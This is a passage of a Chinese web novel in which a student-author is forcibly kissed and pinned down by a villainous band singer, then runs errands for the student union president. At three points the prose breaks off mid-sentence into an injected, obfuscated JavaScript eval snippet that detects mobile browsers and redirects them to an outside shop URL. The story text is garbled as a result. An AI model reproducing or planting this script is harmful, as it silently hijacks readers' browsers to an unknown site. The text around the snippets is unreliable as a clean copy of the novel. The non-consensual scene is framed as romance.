男人蹲在地上,抬头问她:“你明天不来接我们吗?” “我要帮忙准备场地。”她把房门松开了一些,打算要走,“而且今天太累了,总得允许人换班吧。” 说罢,她就转身要往房间外走。 下一刻,身后突然袭来一阵风,她只觉得自己像是被吸进去了一样,走廊离她骤然远去。 嘭,房门在她眼前被关上了。 庄森芽呆站在酒店房间里,感觉身后有什么东西松开了她的棒球服。 回过头去,只见诺特斯在桌旁的椅子上坐下,抓过一旁的尤克里里,调整着琴弦的松紧。 “干什么?”她直截了当地问,一点也不怀疑刚才是诺特斯在作妖。 “和你说说话。” “楼下还有人在等我。”这是在说谎,段子良很有可能一时半会回不来。 “我的那些乐队成员比较有个性,用通俗的话来讲——他们事还挺多的。”诺特斯显然也知道这一点,“你的同伴很忙,应该会在外面流连到很晚吧。” “……”庄森芽谨慎地盯着他。 在密闭的空间里,她不得不拿出十二分的戒备。 现在的情况和公园那时不一样,那时有观众,诺特斯不会乱来,可现在就不好说了。 和这家伙待在一个房间里的时候,就没发生过什么好事。 54. 只因离去将至 “你想聊什么?”庄森芽问。 指尖搭在琴弦上,他弹出一个音节,“你知道公园里老莱诺弹的那首曲子叫什么吗?” “不知道。”她说,“你写的?” “我还没火到街边随便一个乐队就能即兴把谱子弹出来的程度。” “我看也是。” 诺特斯对于她的冷嘲热讽没什么反应,继而说道:“那首歌是一个故去的女歌手写的,她经历有点凄惨,练车的时候不幸遭遇连环车祸,副驾驶陪练的丈夫被撞死了。为此她这一生都在懊悔,认为那是她的错,写下这首歌之后没多久就去世了。” “……”庄森芽不语。 “原本这首歌有歌词,但刚才那个公园里的主唱似乎不会唱。歌词的大意是:‘我的爱人,无论在哪里都要与你相见’。” “然后呢?” 诺特斯:“然后?” 庄森芽:“你和我说这个干什么?” 诺特斯把尤克里里放在一旁,笑意在胸腔作响,“你还真像块石头一样,还是白色的欧泊。” 好家伙,也就这个人会用一种石头来形容她。 诺特斯:“这首歌的配舞,一般是情侣才会一起跳。” “那你还拉着我?”她感到有点气愤,“下次舞瘾犯了建议去找更专业的人。” 诺特斯没接话,朝她张开双臂,勾了勾指尖,“过来一下。” 庄森芽此刻正站在桌子的另一角,离对方差不多有五个身位的距离,她肯定不会按照男人的话去做,不知道这人脑袋里又在想什么,东扯一下西扯一下,没个正题。 “你还有没有事?没有我走了。” 诺特斯看她没有动作,放轻了语气,“过来嘛。” 现在听起来倒像是哄骗了。 她总觉得诺特斯哪里有点变了,如果是以前,他们两人待在一个房间里这么久,对方早就已经开始动手动脚了,当然不是为了做些什么龌龊事,比那更糟,是暴力威胁。 可男人现在的模样看起来十分无害,卷发柔顺地披着,神情是有些散漫的,风衣脱掉了,白衬衫松松垮垮,一根细长的挂坠在胸口若隐若现,整个人看上去有种度假的悠闲。 想着这人也不敢把身为作者的自己怎么样,庄森芽挪动脚步,靠近他。 然而下一秒,她就被男人抓着手腕带进了怀里,脚下一个不稳,就这么坐在了他的大腿上。 他用一把尤克里里封住了她的去路。 “你……!” 果然还是动手动脚了! 她就不该相信这家伙会老老实实的,都怪自己被他刚才的样子给骗了。 庄森芽双手撑在对方的胸膛,手下是厚实柔软的胸肌,她悲哀地又一次发现挣脱不开,男人的双臂像是铁箍一样,把人牢牢固定在怀里。 衣料厮磨,脑海本能生出想逃的念头,浑身都感觉在被一种莫名的危险压制着。 可是心脏在跃动,神经绷紧,与恐惧一同升起的还有一些不知名的东西。 扑通,扑通。 她有点弄不清楚那是自己的心跳,还是掌心下传来的。 “你又想干什么?”庄森芽质问。 这种话她都快说腻了,可总是预料不到男人的下一步动作,对方的脑回路根本就不正常。 两人离得很近,她甚至能数清他睫毛的根数。 诺特斯垂着眼,指尖摸索着尤克里里的弦。 “没什么。”他说,“只是突然想唱歌了。” 谁家好人唱歌必须搂个人在怀里才能唱啊? 这句吐槽没被她说出口,一阵轻缓的琴声响起,她错失了说话的时机。 前奏是有些凄凉的,和公园那时不太一样,虽然能听得出来是同一首歌,情绪却大相径庭。 一段引人遐想的空白之后,紧接着是诺特斯的声音,他唱着那女歌手的歌词,以他特有的磁性声线。 “*我杀了我的另一半,在一个再平凡不过的日子*” “*我们约定好在周末去见我们的女儿,可我想我只能一个人去见她了*” “*她将永远不知道他的爸爸去了哪,或许很快她也将不知道她的妈妈要去哪*” “*埃蒂,埃蒂,对不起*” 这是首民谣,节奏性不是那么强,却饱含着深刻的情绪。 诺特斯的嗓音和尤克里里的琴声完美地融合在一起,就像是两把互相交织的乐器,他生来有一副好嗓子,声音在他的喉咙间便是那般自然而然地流淌,毫不费力。 别说,他唱歌还挺好听,难怪能做主唱。庄森芽心想。 又能唱又能打,这人身上Buff是不是有点多? 不过反派好像一般都比较无敌,这么想就合理起来了。 “*女巫告诉我:你还有见他的机会,但需要付出只此一次的代价*” “*我知道她指的是什么,是的,我知道*” “*而我也已经准备好,没错,我准备好了*” 凄婉的声音在房间内回响,庄森芽听得有点入迷。 眼前是专注的唱着歌的诺特斯,他闭着眼睛,仿佛在感受作者之所感。 她有点投入,刚才脑袋里那些反不反派的胡思乱想已经都烟消云散了。 “*我翻过偌宾山,荆棘扎进我的胸膛*” “*我渡过衡尼河,食人鱼咬去了我的脚趾*” “*我离开自己的家园,族人们剃光我的头发*” “*可是没关系,现在我离你越来越近了,我的爱人*” “*我正在接近你,在每个独自一人的夜里*” 尤克里里的琴声渐缓,曲子来到了终章,歌声也停下。 庄森芽不知道原来原版是这样一首凄美的曲子,歌词是英文的,她听了个大概,懵懵懂懂理解了其中的意思。 整首歌都写满了歌手的懊悔,与她对与爱人重聚的渴盼,结合刚才诺特斯说的那番话,庄森芽隐约知道这是一首怎样的歌了。 她唱的是告别,也是团聚。 仿佛能看到,在一千万个唯有星夜作伴的梦里,女人走在一条田间的小路,她越走越远,最终没有回头。 理解了这首歌之后,庄森芽轻轻吸了口气。 它带给人的情绪不是那么浓烈,可是却源远流长,久久在胸腔中回荡,停歇不下。 就在此时,诺特斯睁开了双眼。 他眸中堆积着浓重的情绪,那是无奈、感慨和深远交织在一起,再带着一点不知何起的悲伤。 庄森芽不知道对方还能露出这样的表情,目不转睛的盯着他,看得有点愣神。 诺特斯伸出一只手,替她把头发别在耳后,而后,那只手就搭在了她的后脖颈上,不再挪动了。 她感受到了来自后方的压力,想不明白诺特斯在做什么,只觉得两人的脸越来越近,比在公园跳舞那时还要近。 视线交织,气息也交融在一起,气氛有些微妙,她的脑袋有些僵住了,弄不清楚现在正在发生什么。 只觉得自己的胸口有些鼓胀,连呼吸都不畅起来。 就在距离近到她几乎要看不清对方的眼睛时,嘴唇上传来柔软的触觉,她顿时激灵了一下,撑着对方的胸膛就要拉开距离。 可是诺特斯没给她这个机会,紧紧地扣住了她的后脑,尤克里里也被他扔到了一旁。 嘴唇上的触感令人脑后一阵发麻,她紧张地闭上眼睛,嘴巴也严丝合缝地抿着,手上大力挣扎,把对方的衬衫抓得乱七八糟。 “唔!”她想说话,想命令他停下,可是一张嘴就让对方趁虚而入,灵巧的舌钻了进来,她顿时就像被打了七寸的蛇,耳旁一阵嗡鸣,身体像有电流涌过,一下子就没力气了。 诺特斯毫不在乎她的抵抗,压着她越吻越深。 胸膛发出无助的呜咽,身体向后折去,指尖无力地抓住对方的头发,双腿像是困兽一般微微抬起,很快就又坠落了下去。 舌尖卷过上膛,她只觉得一阵酥麻从胸口直逼而上,将脑海撞得一片空白。 周身都是对方身体的热量,感觉自己好像越来越没办法呼吸,热度和嗡鸣协同着扶摇直上,使人在其中溺毙,连意识开始沉浮不定。 诺特斯松开她的时候,她已经连挣扎都忘了。 直到男人把她抱起来,摔在床上,意识这才回笼。 她惊坐起,看着单膝跪在床边的诺特斯,男人脸上没什么表情,既没有他惯常的戏谑,也没有那种标志性的邪笑,他只是看着她,状似沉思。 “你想干什么?”庄森芽问他,声音有些控制不住地颤抖。 她搞不清楚他突然怎么了。 那首歌唱完,男人好像突然性情大变,失去了惯有的余韵,展现出他性格中某种真实的侧面。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208467|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有三个月就要离开,”诺特斯倾身上前,在床上压出凹陷,音色毫无起伏,像枯竭的旱漠,“现在当然是把想做的都做了。” 庄森芽见他逼迫上来,立刻蹬着被子往后退,可还没退多远,就被人握着脚腕抓了回去。 “放开我!”她抄起枕头往对方的头上砸,“你冲着别人发情去!” 诺特斯没躲,只是一挥手就挡开了,把枕头扣在一旁,欺身压制住了她。 又是这种局面!庄森芽在内心哀嚎。 而且好像比以往每一次都要危险,尤其眼前是这个面无表情的诺特斯……哪怕他露出一丝轻佻的笑容也好,她都不会像现在这么紧张。 他现在这个样子,庄森芽根本搞不懂他是在生气还是没有。 挣扎之中,双手被压在了头顶,她暗叫不妙,再这样下去真的要发生一些无法挽回的事了。 “诺特斯,你清醒些!” “我很清醒。”他语气的确很平静。 “为什么突然做这种事?!” “一开始我也不想。” 这都是在说什么?他果然不清醒,逻辑都乱了,一边说着不想一边却把人压在床上。 庄森芽奋力挣了一下双手,“既然不想,那为什么还赖在我身上……?!” “因为你非要跟上来。” “什么啊?” “老莱诺指定你领路,你就跟着过来了。”诺特斯细数着前不久的事,“你的部长还是什么叫你把我们送上楼,你就答应了。” 庄森芽听着,不禁感到有些怨怼。 他凭什么说得好像全是她的问题一样? “刚才站在门口半天不走,给我可乘之机的也是你。”诺特斯说着,用虎口卡住她的下巴,倾身又要吻她,“我没那么强的定力。” 见他动作,庄森芽倒吸一口冷气,猛地一个偏头躲开了,拔高声音,想尽了办法自救,“你要是真忍不住,我、我给你叫人来!不用你出钱!” 诺特斯一愣,时隔良久露出一个笑容,可这个笑容怎么看都是被激怒了,他离开了一些,眼神里带着些凶狠,“怎么了,你不是女人?” 这话出口,听得庄森芽心里沉重地拧了一下。 虽然她也没指望诺特斯把她当成什么特殊的人对待,可是当他说出这种话、把她和那些随便什么人混为一谈、觉得她们谁来都行时,内心却无法控制地觉得有点难受。 胸腔里那种胀涩感觉渐渐激红了她的双眼,羞愤的情绪直冲脑海,竟是那么硬生生逼出了一滴眼泪。 她瞪着诺特斯,喊道:“你要是敢碰我,我们就同归于尽吧!” 这声话音落下,诺特斯整个人停住不动了。 她胸膛起伏着,情绪剧烈,咬着牙,不屈地盯着对方。 刚才的话是认真的,诺特斯要是真敢再往下做……她就真的豁出去了。 笑容又从男人的脸上消失了,他闭了闭眼睛,再次睁开时,表情有些空洞。 他伸出一只手来,却像是不知安放在哪里,最终只好碰了一下她的脸颊,沾去了一滴眼泪。 而后,他一言不发地起身了。 脱离了控制,庄森芽也立刻从床上窜下来,看到诺特斯已经坐回了桌边。 侧鬓的发遮住了脸庞,他拿起尤克里里,轻弹着一个单调的音节。 没想到刚才那句话这么有效果。 果然在生命的威胁面前,男人还是能管好下半身的。她心想。 想趁着对方冷静的期间,赶紧离开这个是非之地,于是直奔房门。可还没走两步,就听自己的手机铃声响了起来。 她浑身上下找了一通,没找见,原本应该在棒球服口袋里的手机不翼而飞。她抬头,向音源处看去,发现桌边的诺特斯举着一只手,手上就捏着她的手机,男人没看她,动作是让她自己过来拿的意思。 她犹豫了半晌,小心谨慎地走过去,一下子把手机从对方手里抢过来。 男人没趁机做什么,只是又开始弹他的尤克里里。 打进来的是一通电话,备注是‘佑哲学长’。虽然裴佑哲叫她不用称呼他学长,但是手机里的备注一直忘了改。 她接起来,边往房间门走。 与此同时,身后响起了琴声。 庄森芽回头看了一眼,诺特斯正专注地摆弄着他的乐器,像没注意到门开了一样,就这么放她走。 55. 醉翁之意 “喂?”庄森芽把手机贴在耳旁,砰一下关上房间门,飞速往电梯口走,她可一刻都不想在这里停留了。 “森芽,你……”对面的人刚说了一句话,就突然停顿了一下,“你身边怎么有弹琴的声音?还有,你的呼吸怎么这么急促……” “没什么。”庄森芽的声音有些紧绷,她抹了把脸,擦掉没多少的泪痕,看了眼手机上的时间,已经是十点半了,“这么晚了,打来有什么事吗,佑哲?” “子良不接我电话。”裴佑哲说,“我有事找她,你和她在一起吗?” “没有……”庄森芽走进了电梯,按下一层的按键,驱动混乱的脑海回想前不久的事,“她和几个乐队成员出去逛街了,可能是没听到。等她回来之后,我叫她回电话给你?” “好。”裴佑哲应了一声,然后不再说话。 电话对面传来一阵沉默,庄森芽以为他忘了撂电话,刚想切断通讯,却又听见对面的人张口。 “你今天还回学校吗?我有些话想和你说。” 庄森芽算了算时间,回去之后可能都要凌晨了,而且段子良也不知道什么时候回来,她没法给出一个准确的时间,“要不明天吧……等部长回来可能很晚了,我们再回学校就更晚了。” “没关系。”对面的人说,“你们往回走的时候告诉我一声就好。” 没想到裴佑哲会这么坚持,“呃……好吧,那到时候我给你打电话?” “好。” 电话这才正式挂断,庄森芽疑惑裴佑哲究竟要说什么,这么着急,推迟到明天都不行。 回忆了一番上次见到他发生的事,心想着可能会从中找到什么线索。但是思绪总是不受控制,一旦发散开来,就会想起刚才在酒店房间里发生的一幕,这让她没办法思考其他的任何事。 庄森芽来到了一层,把自己扔进休息区的沙发里。 她先那么直着坐了一会,而后突然往一侧倒了下去,瘫在柔软的皮质沙发上。 她碰了一下自己的嘴唇,到现在才感觉到它有点发肿,与之相关的记忆碎片一下子涌上来,她不由得抱紧了自己的脑袋。 ……为什么会发生那样的事。 究竟是从哪一步开始变得不对劲起来的,是在广场上跳舞的时候,还是那人在房间里弹奏尤克里里的时候? 她觉察到了一些不妙的前兆,可是自始至终都没有看清那片危险的迷雾。 诺特斯到底在想什么?居然对她…… 他肯定不喜欢她,那为什么又要做这种事?那家伙身边的女人应该也不少吧,为什么偏偏非要冲着她…… 又或许只是精虫上脑,可是,那种时候不应该很激动才对吗,诺特斯却是在唱完歌之后变得有些压抑,完全不像他平时的模样。 既非喜欢,也非情欲,那是什么? 庄森芽越想越混乱,总觉得自己的脑细胞有些不太够用了。 思来想去,她终于在停摆的大脑中得到了一个自圆其说的解释。 诺特斯那么做,大概是为了羞辱她。 至于为什么要侮辱她,大概是因为他不甘。性命被一个刚上大学的女孩掌握在手心中,任谁都会不爽,尤其是诺特斯这种不可一世的恶徒。 所以,他采取的是这种方式,想要挽回他被打压的自尊。 逻辑吻合上之后,她不再那么混乱了,反而一种愤慨的情绪油然而生。 居然这么对她……她绝对要他好看。 等着瞧吧,大结局的那天,她会把这一切都‘回报’给他的。 在这之后,脑袋里充斥的东西就变了,变成漫画的剧情。 她开始构思着最终战的一切,渐渐谱写好了一曲凄惨的终章。 想着想着,有些破罐子破摔地露出一个阴森的笑容,把对面沙发的住客都吓跑了。 不知过了多久,她渐渐冷静了下来,这时,一阵嘈杂的声音由远及近,庄森芽坐起来,看过去,发现是段子良带着另外三个乐队成员回来了。 勤劳的人影把几人送到了电梯口之后又折返回来,一脸憔悴地来到庄森芽面前,扑倒在她身上,“这几个大佛啊……太能折腾人了!” “部长辛苦了。”她揉了揉她的肩。 “唉……!走吧走吧,回去睡觉……” 临走前,庄森芽看了一眼一层的电梯。 男人自始至终也没有追下来,看起来并不打算纠缠不休,这让她心情安稳了许多。 那之后,因为不同的原因而十足疲惫的两人叫了辆车,在漆黑的夜幕下返回学校。 离开酒店,清冷的晚风一吹,仿佛能把人的灵魂都洗涤干净。 她想到了报复的方案之后,就把酒店发生的事情暂时压在了心底,不再去刻意想它了。 路上,她告诉段子良,裴佑哲有事找她,让她看看手机。 另一边,庄森芽自己也给裴佑哲去了个电话,她还记得这个学生会主席有什么事要找自己。 电话打过去,很快就被接通了。 “佑哲,我们已经在回学校的路上了,大概还有十几分钟左右到。” “那我在你的宿舍楼下等你。” “好。” 车辆停在上茂哈里森大学的西大门,她与部长两人下车,道了晚安之后就往各自的宿舍方向而去。 现在已经是凌晨一点了,学校里几乎没有一个人影。 庄森芽来到206宿舍楼下,远远看见裴佑哲就站在楼下的玻璃门口等她,那是进宿舍的必经之路,他脚边上放着两个袋子,不知道里面装着什么。 裴佑哲看到她,朝她招了招手。 庄森芽走上前去,打量了对方一番,他穿着一身休闲服,套了个防晚风的外套,整个人看起来比平时亲和许多。 “累吧,这一天。”他说。 “还好,部长没有给我安排太多的活。”庄森芽感觉有点困倦,她想速战速决,“这么晚找我是有什么事吗,佑哲?” 裴佑哲垂下了眼睛,把地面上的两个纸袋子提起来,“最近,我和石玥诗吵了几架,产生了一些……不小的误会。” 庄森芽听了,反应过来,原来是这件事。不过这种事和她有什么关系?为什么要找她? 还没等她开口询问,就听裴佑哲继续往下说:“现在玥诗不肯见我,我不知道该怎么做才好了。” 原来如此,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208468|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感情受挫,想把她当成感情顾问吗?可裴佑哲恐怕选错人了,她绝对不是什么好军师。 直到此刻,庄森芽才回想起前几次见裴佑哲的场景:他最近的样子的确有点奇怪,比如目不斜视地从她眼前走过,或者是在她和陆阳羽对质的时候没有站出来替她说话,庄森芽一度觉得主席可能心情不好,现在这么一看,果然事出有因。 “森芽,我知道这么说有点唐突,但能不能请你帮我多关心照顾一下玥诗,我听说她最近没有好好吃饭。”裴佑哲摆出一副卑微的姿态,“还有……她现在不肯见我,能不能请你帮我向她传达一些话?” 庄森芽有些困惑。 她记得之前这两个人还不是这种关系状态,那个时候明明还是石玥诗在追求裴佑哲而后者爱搭不理,怎么几天过去,两人的立场好像完全反过来了? “玥诗是我的室友,我肯定会照顾她的。”庄森芽说,“但是佑哲,如果你有什么想对她说的话,我觉得还是你自己对她说比较好,有矛盾的话还是要当面解决……” “我知道。”裴佑哲的表情有些无奈,“但是暂时只能这样,后面如果有机会,我肯定是要当面和她解释清楚。” 他说着,把手里两个纸袋子中的其中一个提了起来,“能麻烦你帮我把这个转交给她吗?” 庄森芽接了过来,“现在有点晚,我明天一早交给她可以吧?” “当然。”裴佑哲把另一个袋子也提起来,“这个是给你的。” 庄森芽不解,“给我?” “辛苦你做我们两个之间的中间人。” “呃,我还什么都没做呢。” “那就当成是提前的谢礼吧。” 裴佑哲态度坚决,庄森芽只好收下来。 “那我就先上去了,”她拎着两个袋子往玻璃门走,“明天我会向你汇报战况的。” “好。” 庄森芽敲了敲宿舍楼下的玻璃门,左等右等,这才把宿管阿姨盼来。中年女人像一艘帆船一样疾驰而来,带着凌晨才有的汹涌怒气。 她想了一番借口,表情也换上讨饶的一副,看到阿姨气势汹汹把门打开,正打算要说什么,却听见裴佑哲在一旁开口。 “不好意思,姐,找朋友有些事,把她耽搁得晚了。”说着,他从口袋里掏出来了一包烟,扣在手底下交给宿管阿姨。 后者接过来,原本严厉的脸庞变得柔和起来,“小哲下次提前说一声就行了,还带什么礼物。” 庄森芽惊讶地看着脸色变化如同翻书一样快的宿管阿姨,被对方揽着肩膀推搡了进去。 “好了,快回去睡觉吧!”宿管阿姨对她说,转身又朝裴佑哲嘱咐,“下次别这么晚才带人回来啊。” “知道了。”学生会主席乖巧地应和。 庄森芽受宠若惊,忙往电梯的方向跑,一步也不敢怠慢。 进电梯前她回头看了一眼门口的裴佑哲,对方朝她摆了摆手,然后转身离开了。 不愧是裴佑哲…… 虽然这样的感慨已经发出过很多次了,但她还是要说。 居然能把令鬼神都闻风丧胆的宿管阿姨都摆平,还有什么人是他搞不定的吗? 56. 儿时的味道 电梯门关上,它载着她到达了十二层。 庄森芽小心翼翼打开宿舍门,蹑手蹑脚走了进去,把两个纸袋子放在地上,爬到自己的床上换衣服。 太晚了,她也懒得再去洗漱,而且声音说不定还会惊醒舍友。 倒在床上,四周十分安静。 她闭上眼睛,身体很乏,头脑却活跃。 黑夜裹挟着白天的记忆而来,柔软的床铺让她想起自己被诺特斯甩在床上的那一幕,顿时又睁大了眼睛,感觉心脏蓦然停顿了一下。 当时的危机感似乎在残留在身体里,待到夜深人静就冒出来作乱,使她后怕。 那时如果诺特斯没有停下的话,后面会发生什么? ……不,别想了。 她在心里对自己说。 可是当身体停歇下来,思绪就是无法控制。 明天演出在学校举行,她要去布置场地,还要去后台帮忙,绝对还会再碰上对方。 应该用怎样的态度去面对……? 愤怒一些?还是更无所谓一些? 她几乎没怎么犹豫就选择了后者。总觉得如果让对方觉察出来她很介怀昨天的事情,会让他有种得逞的快感。 这肯定不行。 次日清早,她是宿舍里最后一个醒来的。 下床的时候,舍友汪素文和莫茹都已经不见了,而石玥诗坐在自己位置上,正在对着镜子调整领口上的一朵金花装饰,她穿得很华丽,脸上暂时没有上妆,看起来像是要去参加什么表演。 看到庄森芽醒来了,她继续操忙着手上的事,与此同时对她说了一声,“早上好。” “早上好,玥诗,今天有演出吗?” “嗯,今天下午要去公益演出上当伴舞,等下要去彩排。” 庄森芽想起来部长段子良说过,演出的时候,舞台表演相关的事宜全都交给文艺部,而石玥诗就是文艺部的副部长,她会出席表演也是情理之中。 “好厉害。”庄森芽发自内心地感慨。 石玥诗谦虚地一笑,“没什么厉害的,就是舞台大了点,舞蹈还是那些,都没什么变化。” 庄森芽翻了翻手机,看到外联部的群里发出了通知,叫负责与乐队接洽的人员十点在演出场地外集合。 现在距离十点还有一个小时,时间足够庄森芽去吃个饭,再优哉游哉地赶过去。 她视线往旁边一撇,突然看到地上的两个纸袋子,想起来昨晚裴佑哲托付了她些什么。 “对了,玥诗,佑哲有东西托我转交给你。”庄森芽拎起其中一个白色的袋子,这是昨晚裴佑哲特意嘱托她要交给石玥诗的。 她递了过去,石玥诗接过。 “谢谢。” 紧接着,她看也没看,就把那袋子东西扔进了垃圾桶。 庄森芽看得有点傻眼。 “你……你不打开看看里面有什么吗?” “吃的吧。”石玥诗对着镜子打理自己的发帘,不以为意地说。 庄森芽张张口,却是不知道该说什么了。 她一点也不了解这两人现在到底是什么情感情况,只怕说多了错得多,再惹人反感。 斜睨了一眼垃圾桶里的纸袋子,庄森芽只觉得有点心疼,毕竟那里面的的东西从包装盒上看起来就很昂贵…… 她回到自己的座位上,把裴佑哲给她的那一份赶紧抱在怀里,生怕被波及误伤,叫石玥诗顺手把她的也给丢了。 倒也不是有多珍惜学生会主席送她的礼物,只是,这里面有可能是吃的啊……!浪费什么也不能浪费食物。 起码得让她先尝尝味道吧…… 这时候,石玥诗站起来,往卫生间走。庄森芽偷偷用余光打量她,趁她进卫生间的空挡,赶忙把包装盒从袋子里掏出来,那是个乳白色的盒子,做工精良,上面用烫金写下了一串英文品牌。 打开包装盒,一排排带有独立包装的小零食出现在她的眼前。她随便挑了一个出来,撕开,塞进嘴里。 这是块小饼干,有股奶油的味道,她嚼着嚼着,突然发觉有点熟悉。 是记忆里的味道。 曾经,上高中的时候,门口小卖部就有这种口味的零食,她当时很喜欢吃,几乎每周都会去买一袋。 是巧合还是什么?难不成是裴佑哲特意选的口味……? 她忘记当时自己有没有跟他说过喜欢吃这种小饼干,时间已经过去太久了。 不过,不管是巧合还是有心,久违地品尝到了怀念的味道,庄森芽顿时感觉心情良好,送这盒小饼干给她的人的形象也无疑变得伟岸了起来。 放心吧,佑哲。她在心里想。我一定会帮你和玥诗恢复关系的,不成功绝不罢休,就看在这盒小饼干的份上。 庄森芽在心中暗暗发誓。 下午一点,她准时来到了舞台后方的准备室。 外联部的成员们已经到场了,在配合各个部门调整舞台、排练、测试现场机器。 段子良看到庄森芽来了,对她说怎么不多睡一会,叫她先去后台休息,等乐队来了再忙。 于是庄森芽就溜到舞台的观众席,抱着一碗刚买的关东煮惬意地看他们彩排。 彩排进行到一半的时候,两个身影从后台登了上来,他们分别是乐队的主唱和贝斯手。 庄森芽看到那个男人的身影,顿时有点紧张,她往座位里缩了缩,不希望被对方看见。 乐队演出前要进行一遍彩排,按理来说五个人都应该上场,但不知为何只有诺特斯和老莱诺两个人。 彩排没有因此而耽搁,很快音乐就响了起来,舞团也上场了,歌声响起,萦绕在整个场地。 彩排的时候,诺特斯唱得很随性,就仿佛在家门口摆了一张椅子给隔壁的人随口哼一个小曲,歌曲以流行曲目居多,偶尔穿插一首民谣。 大概可能是为了保留余力,每首歌都只唱了一半,过了一遍流程,乐队就下台了。 而且在这个时候,庄森芽在手机上收到了一条消息。 段子良:「来后台一趟,乐队的人回来了。」 看到这几个字眼,庄森芽感觉自己的心脏被拧紧了,紧张的情绪再度攫住了她。 现在去后台的话,大概率就会和诺特斯碰上。 冷静,冷静。她要装出一副若无其事的模样,就仿佛昨天什么也没发生,那些事对她来说也根本不值一提一样。 她拍了拍自己的脸蛋,猛地从座位上站起来,鼓足了勇气直奔后台而去。 化妆间里,一群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208469|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人像是忙碌的蜜蜂一样聚拢在一起,有人嚷嚷着人太多了,就领着一部分去了隔壁的化妆间。 剩下来的有诺特斯、长发的贝斯手老莱诺、热情的金发鼓手佩吉,以及围着他们化妆、整理服饰的学生们。 外联部形象大使费洛也在其中,他带着一个发箍,把发帘都掀到了脑袋顶上,耳朵上戴着一个对讲机,上半身穿着黑色的坎肩,外套系在腰上,整个人难得一副干练的模样,指挥着手下的小弟小妹们给人化妆外加搭配服饰。 部长段子良看到庄森芽来了,招呼她过来,“你帮我盯着点这个房间,我去看另一个。演出在四点准时开始,监督一下进程,要是出现了什么意外情况要推迟的话,就及时通知我。” 经过昨天晚上的事情,段子良似乎对庄森芽的表现很满意,对她颇为信任,有把她当成半个副手的意思。 “好的。”庄森芽回应。 房间里很忙碌,四处响起交流的声音,声音最大的是金发鼓手佩吉,他的嘴似乎就没闭上过,一直在和化妆师交流,指导对方为他化成想要的模样。 诺特斯和老莱诺那边就相对安静很多,老人家闭着眼睛,看起来像是快要睡着了;诺特斯则盯着镜子里的自己,目不斜视。 庄森芽来到角落,找了一把椅子坐下,盯着这几个人的化妆进度,后面还要整理服装和道具,时间都卡得很严格。 还好只是监督,不用和乐队成员产生什么交流,她顿时感觉轻松了许多。 坐在椅子上的时候,她时不时会看过每一个人,其中也包括诺特斯。但这并不是刻意去看,而是因为她有义务盯着进度。 ……但目光在那个男人那里究竟有没有过长的停留,就不好说了。 化妆师给主唱的黑色卷发上打了发蜡,它变得光泽又整洁,顿时就有了种凛冽的气质。脸上的阴影修饰着本就立体的五官,手法娴熟的妆容抹去了一些攻击性,他反而变得正派起来。 围着诺特斯的不仅有化妆师,还有为他比量着配饰的工作人员,其中有一个身影庄森芽很熟悉,那是沈芸——昨晚要为诺特斯和老莱诺带路去酒店、但被老莱诺呵斥走了的外联部女生。 庄森芽还记得她最后那个看向自己的视线,其中埋怨占了居多。 当下,沈芸正围着诺特斯打转。 先是拿来耳钉在主唱的脸侧比划着,又来到他的正面,一副很认真替他选配饰的模样,可视线却若有若无打量着对方的脸。 身体也越靠越近,只穿了一件小背心的上半身在危险的边缘来回游走,胸脯每次只差一点距离就能碰到男人的脑袋。 她时不时俯下身来,在诺特斯眼前露出一些不经意做出的曲线,声音轻柔地问他需不需要什么,一副嘘寒问暖的模样。 庄森芽盯着对方的动作,感觉胃部有一点不适。 这份不适让她的心情有点糟糕,不禁腹诽起来:那家伙有什么好喜欢的,值得这么献殷勤。 倒不是说她觉得沈芸的行为哪里不合适,只是……只是要追星好歹也换个人吧,喜欢上诺特斯这种人可不是什么明智的选择。 他就是个冒牌绅士,今天还笑脸礼貌相迎,说不定明天就把人拐到床上去了。 品德败坏的人不值得受人崇拜。 57. 串通一气 “诺特斯!”突然,鼓手佩吉侧过头来喊,“我有个新点子,等一下我们第一首歌在高潮的时候唱变调吧!” 诺特斯闭上眼睛,隔绝了周围乌泱泱的人,对另一边金发男人的话似乎持保留意见,“变调没排练过,你确定?” “没关系,我们街头演出的时候不是一起试过吗?而且我觉得比原调好听。” “观众们可不是这么说。” “你还在介意那个光头?”佩吉问他,“放心吧,他肯定是被歌声迷住了,所以在那站了半个小时什么动作都没有。” “我觉得如果不是他最后买了一盒薯条朝我们扔过来,你的话还有点说服力。” “我觉得那是他喜爱的表现。”佩吉十分乐观。 “能这么想的天底下恐怕只有你了。” 就在乐队两名成员交流的时候,原本忙碌的费洛却停了下来。 浅黄头发的男生动作有些心不在焉,似乎在专心地听乐队成员攀谈。就这么停了一阵子,他突然放下了手中的活计,朝化妆室的角落走。 